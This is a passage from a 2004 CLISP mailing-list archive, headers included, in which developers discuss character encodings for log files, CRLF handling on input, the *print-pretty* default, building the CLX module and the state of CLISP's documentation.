thus be justified in returning an error when reading these code in an ISO-8859-1 encoding as it does when it encounters bytes 192,193 in UTF-8), but I just found that ISO-8859 assigns these codes to specific control codes (control "characters"), so that all 256 codes are defined and should correspond to characters. > The point where it might break is that I don't know whether Hangul > (Korea), Japanese and other countries encodings which use multi-byte > sequences can embed something which could be mistaken as CR or LF when > read bytewise and which could find its way into the log files. The file format is broken anyway. It should have been written takin special care of these exotic encodings. For example, it could have been encoded in UTF-8. > BTW, I recommend using READ-CHAR-SEQUENCE to process log files. I > talked about that here when I mentioned my "10 times faster than perl" > firewall log-processing application a year or so ago. You need > buffering to achieve performance. Personnaly, I stay with my advice and would rather use READ-BYTE (or READ-BYTE-SEQUENCE) for this kind of files. This would allow you in addition to implement heuristics to detect the encoding of any range of bytes and decode them correctly. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From sds@gnu.org Tue Mar 16 06:49:07 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3FsR-0002Em-DY for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 06:49:07 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3FsP-0004Li-NP for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 06:49:05 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2GEmttk011815; Tue, 16 Mar 2004 09:48:55 -0500 (EST) To: clisp-list@lists.sourceforge.net, Joe Corneli Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Joe Corneli's message of "Mon, 15 Mar 2004 20:02:10 -0600") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Joe Corneli Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.001 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: status of asdf with clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 06:50:40 2004 X-Original-Date: Tue, 16 Mar 2004 09:48:55 -0500 next CLISP release 2.33 (due RCN) should work with asdf OOTB (the error message have been disabled). patches implementing the missing functionality are welcome. -- Sam Steingold (http://www.podval.org/~sds) running w2k Marriage is the sole cause of divorce. From don-sourceforgexx@isis.cs3-inc.com Tue Mar 16 09:16:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3IAx-000639-6H for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 09:16:23 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3IAt-0003d6-UG for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 09:16:20 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2GHAoc06228; Tue, 16 Mar 2004 09:10:50 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16471.13594.473607.47192@isis.cs3-inc.com> To: "Hoehle, Joerg-Cyril" , Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] character sets In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8AE@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <16470.65522.872856.265165@thalassa.informatimago.com> <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8AE@G8PQD.blf01.telekom.de> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 09:18:16 2004 X-Original-Date: Tue, 16 Mar 2004 09:10:50 -0800 Hoehle, Joerg-Cyril writes: > I wrote an entry for the CL cookbook: > "Faithful Output with Character Streams" > http://cl-cookbook.sourceforge.net/io.html#faith Thank you. Maybe one of these days I can even go back and change my http/smtp/... servers to use characters again. I think something about this ought to be in clisp impnotes and faq. Also something about the syntax class of the extra characters. Also something about the influence of LANG. Also *print-pretty* - these things have bitten me again and again in clisp. I know, I should write something and submit it. > For input (read), you're doomed w.r.t. faithful input because > there's no way to get around CLISP's CRLF translation at end-of > line. Oh, right, THIS is why I have to use binary input. I really wish there were a way around this. Why are the line terminator modes not used for input? Perhaps there could be some backward compatible addition to support this. An extra flag for encodings that says to use the line terminator mode on input? > > 1. That file is not guranteed to contain pure ASCII, e.g. it could > > embded URL-requests as is, which might very well contain Umlauts in DOS > > or Latin-1 or whatever format -- I just don't know, and you probably > > don't know either! Turns out this guess is correct - I'm trying to read my http logs to find out which IPs deserve to be filtered. From jcorneli@math.utexas.edu Tue Mar 16 09:52:40 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3Ik3-0006Sn-Uh for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 09:52:39 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3Ik2-0002Ht-8o for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 09:52:38 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i2GHqb111520; Tue, 16 Mar 2004 11:52:37 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B3Ik1-0003xc-00; Tue, 16 Mar 2004 11:52:37 -0600 To: clisp-list@lists.sourceforge.net CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Tue, 16 Mar 2004 09:48:55 -0500) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: status of asdf with clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 09:54:33 2004 X-Original-Date: Tue, 16 Mar 2004 11:52:37 -0600 For the next clisp release, could you please add a --with-clx option to the configuration script? (Like --with-x for Emacs :).) I finally got new-clx to work, but I had to patch the makefile by hand and do a few other tedious things. In general it would be cool if the various clisp modules could be selectively compiled in at compile time! This would make upgrading much more of a snap than it is currently. From sds@gnu.org Tue Mar 16 10:26:50 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3JH3-0006RZ-F3 for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 10:26:45 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3JGz-0004J6-LO for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 10:26:41 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2GIQQtk020380; Tue, 16 Mar 2004 13:26:27 -0500 (EST) To: clisp-list@lists.sourceforge.net, Joe Corneli Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Joe Corneli's message of "Tue, 16 Mar 2004 11:52:37 -0600") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Joe Corneli Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.001 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: status of asdf with clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 10:27:07 2004 X-Original-Date: Tue, 16 Mar 2004 13:26:26 -0500 > * Joe Corneli [2004-03-16 11:52:37 -0600]: > > For the next clisp release, could you please add a --with-clx option > to the configuration script? did you try $ ./configure --help (hint "--with-module=clx/new-clx" is what you are looking for) -- Sam Steingold (http://www.podval.org/~sds) running w2k Save your burned out bulbs for me, I'm building my own dark room. From sds@gnu.org Tue Mar 16 10:38:37 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3JSX-0000fi-FA for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 10:38:37 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3JSQ-0007PX-N0 for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 10:38:30 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2GIbjtk023886; Tue, 16 Mar 2004 13:37:45 -0500 (EST) To: clisp-list@lists.sourceforge.net, don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16471.13594.473607.47192@isis.cs3-inc.com> (Don Cohen's message of "Tue, 16 Mar 2004 09:10:50 -0800") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <16470.65522.872856.265165@thalassa.informatimago.com> <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8AE@G8PQD.blf01.telekom.de> <16471.13594.473607.47192@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.001 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: character sets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 10:39:17 2004 X-Original-Date: Tue, 16 Mar 2004 13:37:45 -0500 > * Don Cohen [2004-03-16 09:10:50 -0800]: > > I think something about this ought to be in clisp impnotes and faq. did you actually look in the impnotes?! > Also something about the syntax class of the extra characters. &c. > Also something about the influence of LANG. > Also *print-pretty* - these things have bitten me again and again > in clisp. > > For input (read), you're doomed w.r.t. faithful input because > > there's no way to get around CLISP's CRLF translation at end-of > > line. > Oh, right, THIS is why I have to use binary input. > I really wish there were a way around this. > Why are the line terminator modes not used for input? -- Sam Steingold (http://www.podval.org/~sds) running w2k In every non-trivial program there is at least one bug. From don-sourceforgexx@isis.cs3-inc.com Tue Mar 16 11:35:33 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3KLd-0005FL-H4 for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 11:35:33 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3KLc-0003qi-7e for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 11:35:32 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2GJU4207748 for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 11:30:04 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16471.21947.920678.581129@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <16470.65522.872856.265165@thalassa.informatimago.com> <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8AE@G8PQD.blf01.telekom.de> <16471.13594.473607.47192@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: character sets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 11:36:03 2004 X-Original-Date: Tue, 16 Mar 2004 11:30:03 -0800 Sam Steingold writes: > > I think something about this ought to be in clisp impnotes and faq. > did you actually look in the impnotes?! Many times, often, every time I have such problems. Whenever I post to the list about such a problem I have searched impnotes for something about it. That gives you a lower bound. Of course, just cause something is there doesn't mean it's easy to find! > > Also something about the syntax class of the extra characters. > &c. I don't see how this was supposed to help me. > > Also something about the influence of LANG. > > > This is the sort of thing that it's easy to read and not realize how it affects you. Basically I have to learn all about unicode and what the locale and language mean/affect/control. I know, I'm just a US-centric (maybe even ascii-centric) old fogey. And for some reason you don't want to make it easy for me remain so. > > Also *print-pretty* - these things have bitten me again and again > > in clisp. > The lesson I have learned (over and over - sort of like claiming to be really good at quitting smoking cause you've done it so many times!) is that I should turn off *print-pretty* before I start. I really wish the default were different. > > > For input (read), you're doomed w.r.t. faithful input because > > > there's no way to get around CLISP's CRLF translation at end-of > > > line. > > Oh, right, THIS is why I have to use binary input. > > I really wish there were a way around this. > > Why are the line terminator modes not used for input? > > I'm glad to see it. I'd like to vote for it. I realize that the vote that would really count is a patch. From jcorneli@math.utexas.edu Tue Mar 16 12:00:35 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3Kjq-0002QA-7p for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 12:00:34 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3Kjp-0001X9-Tw for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 12:00:33 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i2GK0Xq15089; Tue, 16 Mar 2004 14:00:33 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B3Kjp-0000Gn-00; Tue, 16 Mar 2004 14:00:33 -0600 To: clisp-list@lists.sourceforge.net CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Tue, 16 Mar 2004 13:26:26 -0500) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: status of asdf with clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 12:01:00 2004 X-Original-Date: Tue, 16 Mar 2004 14:00:33 -0600 hint "--with-module=clx/new-clx" is what you are looking for Thanks, I didn't think of that. But getting back to the topic of documentation, it would be nice to have better documentation of which modules are available. This info doesn't seem to appear in the impnotes. Besides, it would be nice to have an Info version of the impnotes. I just tried html2texi | makeinfo, and that didn't work out so well. From sds@gnu.org Tue Mar 16 12:38:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3LKJ-0002Y3-CE for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 12:38:15 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3LKC-0001KP-WF for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 12:38:09 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2GKbutk029630; Tue, 16 Mar 2004 15:37:56 -0500 (EST) To: clisp-list@lists.sourceforge.net, Joe Corneli Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Joe Corneli's message of "Tue, 16 Mar 2004 14:00:33 -0600") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Joe Corneli Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.6 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: status of asdf with clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 12:39:02 2004 X-Original-Date: Tue, 16 Mar 2004 15:37:56 -0500 > * Joe Corneli [2004-03-16 14:00:33 -0600]: > > But getting back to the topic of documentation, it would be nice to > have better documentation of which modules are available. This info > doesn't seem to appear in the impnotes. 30.2.6. Modules included in the distribution. The following modules come with the distribution of CLISP: bindings Call the operating system functions from CLISP. The following platforms are supported: * Amiga * Linux/GNU libc * Win32 CLX Call Xlib functions from CLISP. Two implementations are supplied: * mit-clx, from MIT ftp://ftp.x.org/R5contrib/CLX.R5.02.tar.Z - the standard implementation * new-clx, by Gilbert Baumann - faster, with additional features, but not quite complete yet. oracle Access Oracle from CLISP; by John Hinsdale. fastcgi Access FastCGI from CLISP; by John Hinsdale. netica Work with Bayesian belief networks and influence diagrams using Netica. postgresql Access PostgreSQL from CLISP. queens Compute the number of solutions to the n-queens problem on a n*n checkboard (a toy example for the users to explore). dirkey Directory Access regexp The POSIX Regular Expressions matching, compiling, executing. syscalls Use some system calls in a platform-independent way. wildcard Shell (/bin/sh) globbing > Besides, it would be nice to have an Info version of the impnotes. > I just tried html2texi | makeinfo, and that didn't work out so well. the sources are in clisp/doc in DocBook/XML format. get DocBook/XSL to output info files and you are done. -- Sam Steingold (http://www.podval.org/~sds) running w2k MS: Brain off-line, please wait. From sds@gnu.org Tue Mar 16 12:51:06 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3LWk-0005Tk-6p for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 12:51:06 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3LWd-00058L-Qg for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 12:50:59 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2GKoWtk002880; Tue, 16 Mar 2004 15:50:33 -0500 (EST) To: clisp-list@lists.sourceforge.net, don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16471.21947.920678.581129@isis.cs3-inc.com> (Don Cohen's message of "Tue, 16 Mar 2004 11:30:03 -0800") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <16470.65522.872856.265165@thalassa.informatimago.com> <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8AE@G8PQD.blf01.telekom.de> <16471.13594.473607.47192@isis.cs3-inc.com> <16471.21947.920678.581129@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.001 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: character sets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 12:52:00 2004 X-Original-Date: Tue, 16 Mar 2004 15:50:32 -0500 > * Don Cohen [2004-03-16 11:30:03 -0800]: > > > > Also something about the syntax class of the extra characters. > > &c. > > I don't see how this was supposed to help me. the status of a character is determined by its Unicode properties. what is your question, specifically? (and what is "syntax class"?) > I know, I'm just a US-centric (maybe even ascii-centric) old fogey. > And for some reason you don't want to make it easy for me remain so. _I_ am an ASCII bigot. I think that l12n and i18n are wrong. People who want to use a computer should 1. learn English 2. pass a test, similar to a driving test to get a driver's license. [no, I am not _completely_ serious - but you are not paying me for being serious, so you cannot expect me to be serious, right?] That said, I have never had a problem with CLISP Unicode &c. I always run "clisp -E utf-8" and I never have any problems. if I get an encoding error, it is a welcome indication that I have bad data. > > > Also *print-pretty* - these things have bitten me again and again > > > in clisp. > > > > The lesson I have learned (over and over - sort of like claiming to be > really good at quitting smoking cause you've done it so many times!) > is that I should turn off *print-pretty* before I start. I really > wish the default were different. which default do you want to change? we can have a vote. if the majority wants a different default, it will be changed. (not in 2.33, that's too close, but in 2.34). > > > > I'm glad to see it. I'd like to vote for it. > I realize that the vote that would really count is a patch. before a vote or a patch can be discussed, we need a clear proposal. At this time I just do not see a way to make a change which would... 1. be generally consistent with Common Lisp standard and culture 2. would be helpful to the users in any way. -- Sam Steingold (http://www.podval.org/~sds) running w2k The early worm gets caught by the bird. From pascal@informatimago.com Tue Mar 16 13:35:20 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3MDY-0007ES-8i for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 13:35:20 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3MD9-0005kr-Rv for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 13:34:56 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id A201D586E2; Tue, 16 Mar 2004 22:33:51 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 0094245D48; Tue, 16 Mar 2004 22:35:36 +0100 (CET) Message-ID: <16471.29480.934173.197821@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: character sets In-Reply-To: References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <16470.65522.872856.265165@thalassa.informatimago.com> <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8AE@G8PQD.blf01.telekom.de> <16471.13594.473607.47192@isis.cs3-inc.com> <16471.21947.920678.581129@isis.cs3-inc.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 13:36:04 2004 X-Original-Date: Tue, 16 Mar 2004 22:35:36 +0100 Sam Steingold writes: > > > > Also *print-pretty* - these things have bitten me again and again > > > > in clisp. > > > > > > > The lesson I have learned (over and over - sort of like claiming to be > > really good at quitting smoking cause you've done it so many times!) > > is that I should turn off *print-pretty* before I start. I really > > wish the default were different. > > which default do you want to change? > we can have a vote. > if the majority wants a different default, it will be changed. > (not in 2.33, that's too close, but in 2.34). When I, as a user, see in the standard 